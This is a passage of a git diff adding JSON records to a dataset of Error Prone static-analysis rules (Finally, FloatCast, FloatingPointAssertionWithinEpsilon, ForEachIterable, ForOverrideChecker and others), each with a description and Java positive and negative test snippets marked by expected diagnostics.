{\n {\n {\n {\n {\n {\n // BUG: Diagnostic contains:\n return;\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n\n // Don't assume that completion statements occur inside methods:\n static boolean flag = false;\n\n static {\n while (flag) {\n try {\n } finally {\n // BUG: Diagnostic contains:\n break;\n }\n }\n }\n}\n\n\n package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class FinallyPositiveCase2 {\n public void completeWithReturn(boolean flag) {\n try {\n\n } finally {\n // BUG: Diagnostic contains:\n return;\n }\n }\n\n public void completeWithThrow(boolean flag) throws Exception {\n try {\n\n } finally {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n }\n\n public void unreachableThrow(boolean flag) throws Exception {\n try {\n\n } finally {\n if (flag) {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n }\n }\n\n public void nestedBlocks(int i, boolean flag) throws Exception {\n try {\n\n } finally {\n switch (i) {\n default:\n {\n while (flag) {\n do {\n if (flag) {\n } else {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n } while (flag);\n }\n }\n }\n }\n }\n\n public void nestedFinally() throws Exception {\n try {\n\n } finally {\n try {\n } finally {\n // BUG: Diagnostic contains:\n throw new IOException();\n }\n }\n }\n\n public void returnFromTryNestedInFinally() {\n try {\n } finally {\n try {\n // BUG: Diagnostic contains:\n return;\n } finally {\n }\n }\n }\n\n public void returnFromCatchNestedInFinally() {\n try {\n } finally {\n try {\n } catch (Exception e) {\n // BUG: Diagnostic contains:\n return;\n } finally {\n }\n }\n }\n\n public void throwUncaughtFromNestedTryInFinally() throws Exception {\n try {\n } finally {\n try {\n // BUG: Diagnostic contains:\n throw new Exception();\n } finally {\n }\n }\n }\n\n public void throwFromNestedCatchInFinally() throws Exception {\n try {\n } finally {\n try {\n } catch (Exception e) {\n // BUG: Diagnostic contains:\n throw new Exception();\n } finally {\n }\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class FinallyNegativeCase1 {\n\n public static void test1() {\n while (true) {\n try {\n break;\n } finally {\n }\n }\n }\n\n public static void test2() {\n while (true) {\n try {\n continue;\n } finally {\n }\n }\n }\n\n public static void test3() {\n try {\n return;\n } finally {\n }\n }\n\n public static void test4() throws Exception {\n try {\n throw new Exception();\n } catch (Exception e) {\n } finally {\n }\n }\n\n /** break inner loop. */\n public void test5() {\n label:\n while (true) {\n try {\n } finally {\n while (true) {\n break;\n }\n }\n }\n }\n\n /** continue statement jumps out of inner for. */\n public void test6() {\n label:\n for (; ; ) {\n try {\n } finally {\n for (; ; ) {\n continue;\n }\n }\n }\n }\n\n /** break statement jumps out of switch. */\n public void test7() {\n int i = 10;\n while (true) {\n try {\n } finally {\n switch (i) {\n case 10:\n break;\n }\n }\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class FinallyNegativeCase2 {\n public void test1(boolean flag) {\n try {\n return;\n } finally {\n }\n }\n\n public void test2() throws Exception {\n try {\n } catch (Exception e) {\n throw new Exception();\n } finally {\n }\n }\n\n public void returnInAnonymousClass(boolean flag) {\n try {\n } finally {\n new Object() {\n void foo() {\n return;\n }\n };\n }\n }\n\n public void throwFromNestedTryInFinally() throws Exception {\n try {\n } finally {\n try {\n throw new Exception();\n } catch (Exception e) {\n } finally {\n }\n }\n }\n\n public void nestedTryInFinally2() throws Exception {\n try {\n } finally {\n try {\n // This exception will propagate out through the enclosing finally,\n // but we don't do exception analysis and have no way of knowing that.\n // Xlint:finally doesn't handle this either, since it only reports\n // situations where the end of a finally block is unreachable as\n // defined by JLS 14.21.\n throw new IOException();\n } catch (Exception e) {\n }\n }\n }\n }\\\n \n\n class Test {\n void f() {\n try {\n } catch (Throwable t) {\n } finally {\n Runnable r =\n () -> {\n return;\n };\n }\n }\n }" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class FinallyPositiveCase2 {\n public void completeWithReturn(boolean flag) {\n try {\n\n } finally {\n // BUG: Diagnostic contains:\n return;\n }\n }\n\n public void completeWithThrow(boolean flag) throws Exception {\n try {\n\n } finally {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n }\n\n public void unreachableThrow(boolean flag) throws Exception {\n try {\n\n } finally {\n if (flag) {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n }\n }\n\n public void nestedBlocks(int i, boolean flag) throws Exception {\n try {\n\n } finally {\n switch (i) {\n default:\n {\n while (flag) {\n do {\n if (flag) {\n } else {\n // BUG: Diagnostic contains:\n throw new Exception();\n }\n } while (flag);\n }\n }\n }\n }\n }\n\n public void nestedFinally() throws Exception {\n try {\n\n } finally {\n try {\n } finally {\n // BUG: Diagnostic contains:\n throw new IOException();\n }\n }\n }\n\n public void returnFromTryNestedInFinally() {\n try {\n } finally {\n try {\n // BUG: Diagnostic contains:\n return;\n } finally {\n }\n }\n }\n\n public void returnFromCatchNestedInFinally() {\n try {\n } finally {\n try {\n } catch (Exception e) {\n // BUG: Diagnostic contains:\n return;\n } finally {\n }\n }\n }\n\n public void throwUncaughtFromNestedTryInFinally() throws Exception {\n try {\n } finally {\n try {\n // BUG: Diagnostic contains:\n throw new Exception();\n } finally {\n }\n }\n }\n\n public void throwFromNestedCatchInFinally() throws Exception {\n try {\n } finally {\n try {\n } catch (Exception e) {\n // BUG: Diagnostic contains:\n throw new Exception();\n } finally {\n }\n }\n }\n }\\" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 314 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class FinallyNegativeCase1 {\n\n public static void test1() {\n while (true) {\n try {\n break;\n } finally {\n }\n }\n }\n\n public static void test2() {\n while (true) {\n try {\n continue;\n } finally {\n }\n }\n }\n\n public static void test3() {\n try {\n return;\n } finally {\n }\n }\n\n public static void test4() throws Exception {\n try {\n throw new Exception();\n } catch (Exception e) {\n } finally {\n }\n }\n\n /** break inner loop. */\n public void test5() {\n label:\n while (true) {\n try {\n } finally {\n while (true) {\n break;\n }\n }\n }\n }\n\n /** continue statement jumps out of inner for. */\n public void test6() {\n label:\n for (; ; ) {\n try {\n } finally {\n for (; ; ) {\n continue;\n }\n }\n }\n }\n\n /** break statement jumps out of switch. */\n public void test7() {\n int i = 10;\n while (true) {\n try {\n } finally {\n switch (i) {\n case 10:\n break;\n }\n }\n }\n }\n }\\" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n\n /**\n * @author cushon@google.com (Liam Miller-Cushon)\n */\n public class FinallyNegativeCase2 {\n public void test1(boolean flag) {\n try {\n return;\n } finally {\n }\n }\n\n public void test2() throws Exception {\n try {\n } catch (Exception e) {\n throw new Exception();\n } finally {\n }\n }\n\n public void returnInAnonymousClass(boolean flag) {\n try {\n } finally {\n new Object() {\n void foo() {\n return;\n }\n };\n }\n }\n\n public void throwFromNestedTryInFinally() throws Exception {\n try {\n } finally {\n try {\n throw new Exception();\n } catch (Exception e) {\n } finally {\n }\n }\n }\n\n public void nestedTryInFinally2() throws Exception {\n try {\n } finally {\n try {\n // This exception will propagate out through the enclosing finally,\n // but we don't do exception analysis and have no way of knowing that.\n // Xlint:finally doesn't handle this either, since it only reports\n // situations where the end of a finally block is unreachable as\n // defined by JLS 14.21.\n throw new IOException();\n } catch (Exception e) {\n }\n }\n }\n }\\" + }, + { + "description": "lambda", + "expected-problems": null, + "expected-linenumbers": [ + 474 + ], + "code": "class Test {\n void f() {\n try {\n } catch (Throwable t) {\n } finally {\n Runnable r =\n () -> {\n return;\n };\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatCast.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatCast.json new file mode 100644 index 0000000..077d49d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatCast.json @@ -0,0 +1,38 @@ +{ + "name": "FloatCast", + "language": "java", + "description": "Use parentheses to make the precedence explicit", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 27 + ], + "code": "class Test {\n {\n // BUG: Diagnostic contains:'int x = (int) (0.9f * 42);' or 'int x = ((int) 0.9f) * 42;'\n int x = (int) 0.9f * 42;\n // BUG: Diagnostic contains:'float y = (int) (0.9f * 0.9f);' or 'float y = ((int) 0.9f) * 0.9f;'\n float y = (int) 0.9f * 0.9f;\n // BUG: Diagnostic contains:'int z = (int) (0.9f * 42 * 1 * 2);' or 'int z = ((int) 0.9f) * 42 *\n // 1 * 2;'\n int z = (int) 0.9f * 42 * 1 * 2;\n }\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n {\n int x = (int) 0.9f + 42;\n float y = (int) 0.9f - 0.9f;\n x = ((int) 0.9f) * 42;\n y = (int) (0.9f * 0.9f);\n String s = (int) 0.9f + \"\";\n boolean b = (int) 0.9f > 1;\n long c = (long) Math.ceil(10.0d / 2) * 2;\n long f = (long) Math.floor(10.0d / 2) * 2;\n long g = (long) Math.signum(10.0d / 2) * 2;\n long r = (long) Math.rint(10.0d / 2) * 2;\n }\n }" + }, + { + "description": "pow", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "class Test {\n {\n // BUG: Diagnostic contains: 'int x = (int) (Math.pow(10, 0.5f) * 42);'\n int x = (int) Math.pow(10, 0.5f) * 42;\n int y = (int) Math.pow(10, 2) * 42;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointAssertionWithinEpsilon.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointAssertionWithinEpsilon.json new file mode 100644 index 0000000..9084e8e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointAssertionWithinEpsilon.json @@ -0,0 +1,38 @@ +{ + "name": "FloatingPointAssertionWithinEpsilon", + "language": "java", + "description": "This fuzzy equality check is using a tolerance less than the gap to the next number. You may want a less restrictive tolerance, or to assert equality.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 243, + "branches": 17, + "apis": 5, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertEquals;\n\n /**\n * Positive test cases for FloatingPointAssertionWithinEpsilon check.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\n final class FloatingPointAssertionWithinEpsilonPositiveCases {\n\n private static final float TOLERANCE = 1e-10f;\n private static final double TOLERANCE2 = 1e-20f;\n private static final float VALUE = 1;\n\n public void testFloat() {\n // BUG: Diagnostic contains: 6.0e-08\n assertThat(1.0f).isWithin(1e-20f).of(1.0f);\n // BUG: Diagnostic contains: 6.0e-08\n assertThat(1f).isWithin(TOLERANCE).of(VALUE);\n // BUG: Diagnostic contains: 1.0e+03\n assertThat(1e10f).isWithin(1).of(1e10f);\n\n // BUG: Diagnostic contains: 1.2e-07\n assertThat(1f).isNotWithin(1e-10f).of(2);\n\n // BUG: Diagnostic contains: 6.0e-08\n assertEquals(1f, 1f, TOLERANCE);\n // BUG: Diagnostic contains: 6.0e-08\n assertEquals(\"equal!\", 1f, 1f, TOLERANCE);\n }\n\n public void testDouble() {\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(1e-20).of(1.0);\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(TOLERANCE2).of(1.0f);\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(TOLERANCE2).of(1);\n // BUG: Diagnostic contains: 1.6e+04\n assertThat(1e20).isWithin(1).of(1e20);\n\n // BUG: Diagnostic contains: 1.4e-17\n assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f);\n\n // BUG: Diagnostic contains: 1.1e-16\n assertEquals(1.0, 1.0, TOLERANCE2);\n // BUG: Diagnostic contains: 1.1e-16\n assertEquals(\"equal!\", 1.0, 1.0, TOLERANCE2);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertEquals;\n\n /**\n * Negative test cases for FloatingPointAssertionWithinEpsilon check.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\n final class FloatingPointAssertionWithinEpsilonNegativeCases {\n\n private static final float TOLERANCE = 1e-5f;\n private static final double TOLERANCE2 = 1e-10f;\n private static final float VALUE = 1;\n\n public void testFloat() {\n String test = Boolean.TRUE.toString();\n assertThat(1.0f).isWithin(1e-5f).of(1.0f);\n assertThat(1f).isWithin(TOLERANCE).of(VALUE);\n assertThat(1f).isWithin(1).of(1);\n\n assertThat(1f).isNotWithin(0).of(2f);\n\n assertThat(1f).isNotWithin(.5f).of(2f);\n\n assertEquals(1f, 1f, TOLERANCE);\n }\n\n public void testDouble() {\n String test = Boolean.TRUE.toString();\n assertThat(1.0).isWithin(1e-10).of(1.0);\n assertThat(1.0).isWithin(TOLERANCE2).of(1f);\n assertThat(1.0).isWithin(TOLERANCE2).of(1);\n\n assertEquals(1.0, 1.0, TOLERANCE);\n }\n\n public void testZeroCases() {\n assertThat(1.0).isWithin(0.0).of(1.0);\n assertThat(1f).isWithin(0f).of(1f);\n assertThat(1f).isWithin(0).of(1f);\n\n assertEquals(1f, 1f, 0f);\n }\n }\\" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertEquals;\n\n /**\n * Positive test cases for FloatingPointAssertionWithinEpsilon check.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\n final class FloatingPointAssertionWithinEpsilonPositiveCases {\n\n private static final float TOLERANCE = 1e-10f;\n private static final double TOLERANCE2 = 1e-20f;\n private static final float VALUE = 1;\n\n public void testFloat() {\n // BUG: Diagnostic contains: 6.0e-08\n assertThat(1.0f).isWithin(1e-20f).of(1.0f);\n // BUG: Diagnostic contains: 6.0e-08\n assertThat(1f).isWithin(TOLERANCE).of(VALUE);\n // BUG: Diagnostic contains: 1.0e+03\n assertThat(1e10f).isWithin(1).of(1e10f);\n\n // BUG: Diagnostic contains: 1.2e-07\n assertThat(1f).isNotWithin(1e-10f).of(2);\n\n // BUG: Diagnostic contains: 6.0e-08\n assertEquals(1f, 1f, TOLERANCE);\n // BUG: Diagnostic contains: 6.0e-08\n assertEquals(\"equal!\", 1f, 1f, TOLERANCE);\n }\n\n public void testDouble() {\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(1e-20).of(1.0);\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(TOLERANCE2).of(1.0f);\n // BUG: Diagnostic contains: 1.1e-16\n assertThat(1.0).isWithin(TOLERANCE2).of(1);\n // BUG: Diagnostic contains: 1.6e+04\n assertThat(1e20).isWithin(1).of(1e20);\n\n // BUG: Diagnostic contains: 1.4e-17\n assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f);\n\n // BUG: Diagnostic contains: 1.1e-16\n assertEquals(1.0, 1.0, TOLERANCE2);\n // BUG: Diagnostic contains: 1.1e-16\n assertEquals(\"equal!\", 1.0, 1.0, TOLERANCE2);\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertEquals;\n\n /**\n * Expected refactoring output for FloatingPointAssertionWithinEpsilon bugpattern.\n *\n * @author ghm@google.com (Graeme Morgan)\n */\n final class FloatingPointAssertionWithinEpsilonPositiveCases {\n\n private static final float TOLERANCE = 1e-10f;\n private static final double TOLERANCE2 = 1e-20f;\n private static final float VALUE = 1;\n\n public void testFloat() {\n assertThat(1.0f).isEqualTo(1.0f);\n assertThat(1f).isEqualTo(VALUE);\n assertThat(1e10f).isEqualTo(1e10f);\n assertThat(1f).isNotEqualTo(2f);\n assertEquals(1f, 1f, 0);\n assertEquals(\"equal!\", 1f, 1f, 0);\n }\n\n public void testDouble() {\n assertThat(1.0).isEqualTo(1.0);\n assertThat(1.0).isEqualTo(1.0);\n assertThat(1.0).isEqualTo(1d);\n assertThat(1e20).isEqualTo(1e20);\n assertThat(0.1).isNotEqualTo((double) 0.1f);\n assertEquals(1.0, 1.0, 0);\n assertEquals(\"equal!\", 1.0, 1.0, 0);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointLiteralPrecision.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointLiteralPrecision.json new file mode 100644 index 0000000..4d84444 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointLiteralPrecision.json @@ -0,0 +1,38 @@ +{ + "name": "FloatingPointLiteralPrecision", + "language": "java", + "description": "Floating point literal loses precision", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 14, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n double d = 1.99999999999999999999999;\n float f = 1.99999999999999999999999f;\n }\n \n\n class Test {\n double d = 2.0;\n float f = 2.0f;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n double d2 = 1.0;\n double d3 = 1;\n double d4 = 1e6;\n double d5 = 1e-3;\n double d6 = 1d;\n double d7 = 1_000.0;\n double d8 = 0x1.0p63d;\n float f2 = 1.0f;\n float f3 = 1f;\n float f4 = 0.88f;\n float f5 = 1_000.0f;\n float f6 = 0x1.0p63f;\n }" + }, + { + "description": "replacementTooLong", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForEachIterable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForEachIterable.json new file mode 100644 index 0000000..786a4eb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForEachIterable.json @@ -0,0 +1,70 @@ +{ + "name": "ForEachIterable", + "language": "java", + "description": "This loop can be replaced with an enhanced for loop.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 216, + "branches": 33, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(T element);\n\n void iteratorFor(Iterable list) {\n for (Iterator iterator = list.iterator(); iterator.hasNext(); ) {\n doSomething(iterator.next());\n }\n }\n\n void iteratorWhile(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n doSomething(iterator.next());\n }\n }\n }\n \n\n import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(T element);\n\n void iteratorFor(Iterable list) {\n for (T element : list) {\n doSomething(element);\n }\n }\n\n void iteratorWhile(Iterable list) {\n for (T element : list) {\n doSomething(element);\n }\n }\n }" + }, + { + "description": "reuseVariable", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(T element);\n\n void iteratorWhile(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n T t = iterator.next();\n doSomething(t);\n }\n }\n }\n \n\n import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(T element);\n\n void iteratorWhile(Iterable list) {\n for (T t : list) {\n doSomething(t);\n }\n }\n }" + }, + { + "description": "wildcard", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(Object element);\n\n void iteratorWhile(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n doSomething(iterator.next());\n }\n }\n }\n \n\n import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(Object element);\n\n void iteratorWhile(Iterable list) {\n for (Object element : list) {\n doSomething(element);\n }\n }\n }" + }, + { + "description": "empty", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(Object element);\n\n void iteratorWhile(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n iterator.next();\n }\n }\n }\n \n\n import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(Object element);\n\n void iteratorWhile(Iterable list) {\n for (Object element : list) {}\n }\n }" + }, + { + "description": "wildcardExtends", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(String element);\n\n void iteratorWhile(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n iterator.next();\n }\n }\n }\n \n\n import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(String element);\n\n void iteratorWhile(Iterable list) {\n for (String element : list) {}\n }\n }" + }, + { + "description": "iteratorMemberMethod", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "import java.util.Iterator;\n import java.lang.Iterable;\n\n class Test implements Iterable {\n @Override\n public Iterator iterator() {\n return null;\n }\n\n void test() {\n Iterator iter = iterator();\n while (iter.hasNext()) {\n iter.next();\n }\n }\n }\n \n\n import java.util.Iterator;\n import java.lang.Iterable;\n\n class Test implements Iterable {\n @Override\n public Iterator iterator() {\n return null;\n }\n\n void test() {\n for (V element : this) {}\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "import java.util.Iterator;\n\n abstract class Test {\n abstract void doSomething(T element);\n\n void forUpdate(Iterable list) {\n for (Iterator it = list.iterator(); it.hasNext(); it.next()) {\n doSomething(it.next());\n }\n }\n\n void forMultiVariable(Iterable list) {\n for (Iterator iterator = list.iterator(), y = null; iterator.hasNext(); ) {\n doSomething(iterator.next());\n }\n }\n\n void forTwoStep(Iterable list) {\n for (Iterator iterator = list.iterator(); iterator.hasNext(); ) {\n doSomething(iterator.next());\n doSomething(iterator.next());\n }\n }\n\n void whileTwoStep(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n doSomething(iterator.next());\n doSomething(iterator.next());\n }\n }\n\n void whileUseOutsideLoop(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n doSomething(iterator.next());\n }\n doSomething(iterator.next());\n }\n\n void forIteratorUse(Iterable list) {\n Iterator iterator = list.iterator();\n while (iterator.hasNext()) {\n iterator.next();\n iterator.remove();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForOverrideChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForOverrideChecker.json new file mode 100644 index 0000000..766bbe7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForOverrideChecker.json @@ -0,0 +1,150 @@ +{ + "name": "ForOverrideChecker", + "language": "java", + "description": "Method annotated @ForOverride must be protected or package-private and only invoked from declaring class, or from an override of the method", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 181, + "branches": 30, + "apis": 2, + "test": [ + { + "description": "canApplyForOverrideToProtectedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.ForOverride;\n\n public class Test {\n @ForOverride\n protected void myMethod() {}\n }" + }, + { + "description": "canApplyForOverrideToPackagePrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.ForOverride;\n\n public class Test {\n @ForOverride\n void myMethod() {}\n }" + }, + { + "description": "cannotApplyForOverrideToPublicMethod", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "package test;\n\nimport com.google.errorprone.annotations.ForOverride;\n\npublic class Test {\n @ForOverride\n // BUG: Diagnostic contains: @ForOverride must have protected or package-private visibility\n public void myMethod() {}\n}" + }, + { + "description": "cannotApplyForOverrideToPrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "package test;\n\nimport com.google.errorprone.annotations.ForOverride;\n\npublic class Test {\n @ForOverride\n // BUG: Diagnostic contains: @ForOverride must have protected or package-private visibility\n private void myMethod() {}\n}" + }, + { + "description": "cannotApplyForOverrideToInterfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "package test;\n\nimport com.google.errorprone.annotations.ForOverride;\n\npublic interface Test {\n @ForOverride\n // BUG: Diagnostic contains: @ForOverride must have protected or package-private visibility\n void myMethod();\n}" + }, + { + "description": "userCanCallAppropriateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "package test;\n\n public class Test extends test.ExtendMe {\n public void googleyMethod() {\n callMe();\n }\n }" + }, + { + "description": "userInSamePackageCannotCallMethod", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "package test;\n\n public class Test {\n public void tryCall() {\n ExtendMe extendMe = new ExtendMe();\n // BUG: Diagnostic contains: must not be invoked\n extendMe.overrideMe();\n }\n }" + }, + { + "description": "userCannotCallDefault", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "package test;\n\n public class Test extends test.ExtendMe {\n public void circumventer() {\n // BUG: Diagnostic contains: must not be invoked\n overrideMe();\n }\n }" + }, + { + "description": "userCannotCallOverridden", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n @Override\n protected int overrideMe() {\n System.err.println(\"Capybaras are semi-aquatic.\");\n return 1;\n }\n\n public void circumventer() {\n // BUG: Diagnostic contains: must not be invoked\n overrideMe();\n }\n }" + }, + { + "description": "userCanCallSuperFromOverridden", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n @Override\n protected int overrideMe() {\n return super.overrideMe();\n }\n }" + }, + { + "description": "userCanCallSuperFromOverridden_explicitQualification", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "" + }, + { + "description": "userCannotCallSuperFromNonOverriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n protected void circumventer() {\n // BUG: Diagnostic contains: must not be invoked\n super.overrideMe();\n }\n }" + }, + { + "description": "userCannotCallSuperFromFieldInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 277 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n // BUG: Diagnostic contains: must not be invoked\n private final int k = super.overrideMe();\n }" + }, + { + "description": "userCannotCallSuperFromAnonymousInnerClassInOverride", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n @Override\n protected int overrideMe() {\n return new Object() {\n // BUG: Diagnostic contains: must not be invoked\n final int k = Test.super.overrideMe();\n\n int foo() {\n // BUG: Diagnostic contains: must not be invoked\n return Test.super.overrideMe();\n }\n }.foo();\n }\n }" + }, + { + "description": "userCannotMakeMethodPublic", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "package test2;\n\n public class Test extends test.ExtendMe {\n // BUG: Diagnostic contains: overrides @ForOverride method test.ExtendMe.overrideMe\n public int overrideMe() {\n return 1;\n }\n\n // BUG: Diagnostic contains: overrides @ForOverride method test.ExtendMe.overrideMe\n public int overrideMe(int a) {\n return 1;\n }\n }" + }, + { + "description": "definerCanCallFromInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.ForOverride;\n\n public class OuterClass {\n @ForOverride\n protected void forOverride() {}\n\n private class InnerClass {\n void invoke() {\n forOverride();\n }\n }\n }" + }, + { + "description": "definerCanCallFromAnonymousInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "package test;\n\n import com.google.errorprone.annotations.ForOverride;\n\n public class OuterClass {\n @ForOverride\n protected void forOverride() {}\n\n public Runnable getRunner() {\n return new Runnable() {\n public void run() {\n forOverride();\n }\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceClash.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceClash.json new file mode 100644 index 0000000..d898bec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceClash.json @@ -0,0 +1,150 @@ +{ + "name": "FunctionalInterfaceClash", + "language": "java", + "description": "Overloads will be ambiguous 